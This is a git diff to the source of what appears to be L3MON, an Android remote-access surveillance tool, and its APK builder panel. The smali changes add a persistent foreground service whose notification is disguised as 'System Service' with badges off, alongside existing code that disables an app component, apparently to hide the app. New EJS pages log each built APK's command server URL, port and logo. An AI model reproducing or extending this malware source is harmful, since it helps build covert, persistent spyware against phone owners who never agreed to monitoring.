- .end local v2 # "text":Ljava/lang/CharSequence;
- .end local v3 # "duration":I
- .end local v4 # "toast":Landroid/widget/Toast;
- .end local v5 # "v":Landroid/widget/TextView;
- .end local v6 # "i":Landroid/content/Intent;
- :cond_0
+ .line 63
+ invoke-direct {p0}, Lcom/etechd/l3mon/MainActivity;->startServices()V
+
+ .line 64
invoke-virtual {p0}, Lcom/etechd/l3mon/MainActivity;->finish()V
- .line 49
+ .line 77
+ :cond_1
return-void
.end method
diff --git a/app/factory/decompiled/smali/com/etechd/l3mon/MainService.smali b/app/factory/decompiled/smali/com/etechd/l3mon/MainService.smali
index ee1658b2..5cbb2935 100644
--- a/app/factory/decompiled/smali/com/etechd/l3mon/MainService.smali
+++ b/app/factory/decompiled/smali/com/etechd/l3mon/MainService.smali
@@ -2,11 +2,10 @@
.super Landroid/app/Service;
.source "MainService.java"
-
-# static fields
+.field private static final NOTIFICATION_ID:I = 0x3e7
+.field private static final CHANNEL_ID:Ljava/lang/String; = "andro_channel"
.field private static contextOfApplication:Landroid/content/Context;
-
# direct methods
.method public constructor ()V
.locals 0
@@ -18,16 +17,120 @@
return-void
.end method
+.method private createNotificationChannel()V
+ .locals 4
+
+ .line 90
+ sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
+
+ const/16 v1, 0x1a
+
+ if-lt v0, v1, :cond_0
+
+ .line 91
+ new-instance v0, Landroid/app/NotificationChannel;
+
+ const-string v1, "andro_channel"
+
+ const-string v2, "System Service"
+
+ const/4 v3, 0x0
+
+ invoke-direct {v0, v1, v2, v3}, Landroid/app/NotificationChannel;->(Ljava/lang/String;Ljava/lang/CharSequence;I)V
+
+ .line 93
+ .local v0, "channel":Landroid/app/NotificationChannel;
+ const-string v2, "System Service Channel"
+
+ invoke-virtual {v0, v2}, Landroid/app/NotificationChannel;->setDescription(Ljava/lang/String;)V
+
+ .line 94
+ invoke-virtual {v0, v3}, Landroid/app/NotificationChannel;->setShowBadge(Z)V
+
+ .line 95
+ const-string v2, "notification"
+
+ invoke-virtual {p0, v2}, Lcom/etechd/l3mon/MainService;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
+
+ move-result-object v2
+
+ check-cast v2, Landroid/app/NotificationManager;
+
+ .line 96
+ .local v2, "notificationManager":Landroid/app/NotificationManager;
+ invoke-virtual {v2, v0}, Landroid/app/NotificationManager;->createNotificationChannel(Landroid/app/NotificationChannel;)V
+
+ .line 98
+ .end local v0 # "channel":Landroid/app/NotificationChannel;
+ .end local v2 # "notificationManager":Landroid/app/NotificationManager;
+ :cond_0
+ return-void
+.end method
+
+.method private startForeground()V
+ .locals 4
+
+ .line 101
+ invoke-direct {p0}, Lcom/etechd/l3mon/MainService;->createNotificationChannel()V
+
+ .line 103
+ new-instance v0, Landroid/app/Notification$Builder;
+
+ invoke-direct {v0, p0}, Landroid/app/Notification$Builder;->(Landroid/content/Context;)V
+
+ .line 104
+ .local v0, "notificationBuilder":Landroid/app/Notification$Builder;
+ const-string v1, "System Service"
+
+ invoke-virtual {v0, v1}, Landroid/app/Notification$Builder;->setContentTitle(Ljava/lang/CharSequence;)Landroid/app/Notification$Builder;
+
+ .line 105
+ const-string v1, "Running..."
+
+ invoke-virtual {v0, v1}, Landroid/app/Notification$Builder;->setContentText(Ljava/lang/CharSequence;)Landroid/app/Notification$Builder;
+
+ .line 106
+ const/high16 v1, 0x7f020000
+
+ invoke-virtual {v0, v1}, Landroid/app/Notification$Builder;->setSmallIcon(I)Landroid/app/Notification$Builder;
+
+ .line 108
+ sget v1, Landroid/os/Build$VERSION;->SDK_INT:I
+
+ const/16 v2, 0x1a
+
+ if-lt v1, v2, :cond_0
+
+ .line 109
+ const-string v1, "andro_channel"
+
+ invoke-virtual {v0, v1}, Landroid/app/Notification$Builder;->setChannelId(Ljava/lang/String;)Landroid/app/Notification$Builder;
+
+ .line 112
+ :cond_0
+ invoke-virtual {v0}, Landroid/app/Notification$Builder;->build()Landroid/app/Notification;
+
+ move-result-object v1
+
+ .line 113
+ .local v1, "notification":Landroid/app/Notification;
+ const/16 v2, 0x3e7
+
+ invoke-virtual {p0, v2, v1}, Lcom/etechd/l3mon/MainService;->startForeground(ILandroid/app/Notification;)V
+
+ .line 114
+ return-void
+.end method
+
.method public static getContextOfApplication()Landroid/content/Context;
.locals 1
- .line 82
+ .line 86
sget-object v0, Lcom/etechd/l3mon/MainService;->contextOfApplication:Landroid/content/Context;
return-object v0
.end method
-
# virtual methods
.method public onBind(Landroid/content/Intent;)Landroid/os/IBinder;
.locals 1
@@ -39,6 +142,19 @@
return-object v0
.end method
+.method public onCreate()V
+ .locals 0
+
+ .line 38
+ invoke-super {p0}, Landroid/app/Service;->onCreate()V
+
+ .line 39
+ invoke-direct {p0}, Lcom/etechd/l3mon/MainService;->startForeground()V
+
+ .line 40
+ return-void
+.end method
+
.method public onDestroy()V
.locals 2
@@ -64,12 +180,12 @@
.param p2, "paramInt1" # I
.param p3, "paramInt2" # I
- .line 39
+ .line 45
invoke-virtual {p0}, Lcom/etechd/l3mon/MainService;->getPackageManager()Landroid/content/pm/PackageManager;
move-result-object v0
- .line 40
+ .line 46
.local v0, "pkg":Landroid/content/pm/PackageManager;
new-instance v1, Landroid/content/ComponentName;
@@ -83,7 +199,7 @@
invoke-virtual {v0, v1, v3, v2}, Landroid/content/pm/PackageManager;->setComponentEnabledSetting(Landroid/content/ComponentName;II)V
- .line 44
+ .line 50
new-instance v1, Lcom/etechd/l3mon/MainService$1;
invoke-direct {v1, p0}, Lcom/etechd/l3mon/MainService$1;->(Lcom/etechd/l3mon/MainService;)V
diff --git a/assets/.DS_Store b/assets/.DS_Store
index a03c5774..3bbdd400 100644
Binary files a/assets/.DS_Store and b/assets/.DS_Store differ
diff --git a/assets/views/.DS_Store b/assets/views/.DS_Store
index 8bb089ed..2724c0c0 100644
Binary files a/assets/views/.DS_Store and b/assets/views/.DS_Store differ
diff --git a/assets/views/build-history.ejs b/assets/views/build-history.ejs
new file mode 100644
index 00000000..8d098066
--- /dev/null
+++ b/assets/views/build-history.ejs
@@ -0,0 +1,228 @@
+
+
+
+<%- include('partials/head.ejs') %>
+
+
+
+ <%- include('partials/header.ejs') %>
+
+
+
+ <% if(buildHistory && buildHistory.length > 0) { %>
+
+ <% buildHistory.forEach(function(build) { %>
+
+
+
+
+ <% if(build.logoUrl) { %>
+

+ <% } else { %>
+
+
+
+ <% } %>
+
+
+
+
+
+ Built on: <%= new Date(build.time).toLocaleString() %>
+
+
+
+ Server URL: <%= build.uri %>:<%= build.port %>
+ Custom Logo: <%= build.hasCustomLogo ? 'Yes' : 'No' %>
+
+
+
+
+
+
+ <% }); %>
+
+ <% } else { %>
+
+ <% } %>
+
+
+
+
+
+
+
+ <%- include('partials/footer.ejs') %>
+
+
+
\ No newline at end of file
diff --git a/assets/views/buildLogs.ejs b/assets/views/buildLogs.ejs
new file mode 100644
index 00000000..51a6b02b
--- /dev/null
+++ b/assets/views/buildLogs.ejs
@@ -0,0 +1,80 @@
+
+
+<%- include('partials/head.ejs') %>
+
+
+
+ <%- include('partials/header.ejs') %>
+
+
+
+ <% buildHistory.forEach((build) => { %>
+
+
+
+
+ <% if (build.logoPath) { %>
+

+ <% } else { %>
+

+ <% } %>
+
+
+
+
+ Server: <%= build.uri %>:<%= build.port %>
+
+
+
+
+
+
+ <% }); %>
+
+ <% if (!buildHistory || buildHistory.length === 0) { %>
+
+ <% } %>
+
+
+
+
+
+ <%- include('partials/footer.ejs') %>
+
+
diff --git a/assets/views/builder.ejs b/assets/views/builder.ejs
index db38aeb2..4d6f2509 100644
--- a/assets/views/builder.ejs
+++ b/assets/views/builder.ejs
@@ -36,6 +36,47 @@
title="This is the `control_port` set in the consts" value="<%= myPort %>">
+
+
+
+
+
+
+
+
+
+
+
Logo Preview
+
![]()
+
+
+
+
+
+
+
+
+
+ <% buildHistory.forEach((build) => { %>
+
+
+
+
+ <% if (build.logoPath) { %>
+

+ <% } else { %>
+

+ <% } %>
+
+
+
+
+ Server: <%= build.uri %>:<%= build.port %>
+
+
+
+
+
+
+ <% }); %>
+
+ <% if (!buildHistory || buildHistory.length === 0) { %>
+
+
+
+ <% } %>
+
+
+
+
+
+
+
+
Are you sure you want to clear the entire build history? This action cannot be undone.
+
+
+
Cancel
+
Clear History
+
<%- include('partials/footer.ejs') %>
-
-
-
-
-
-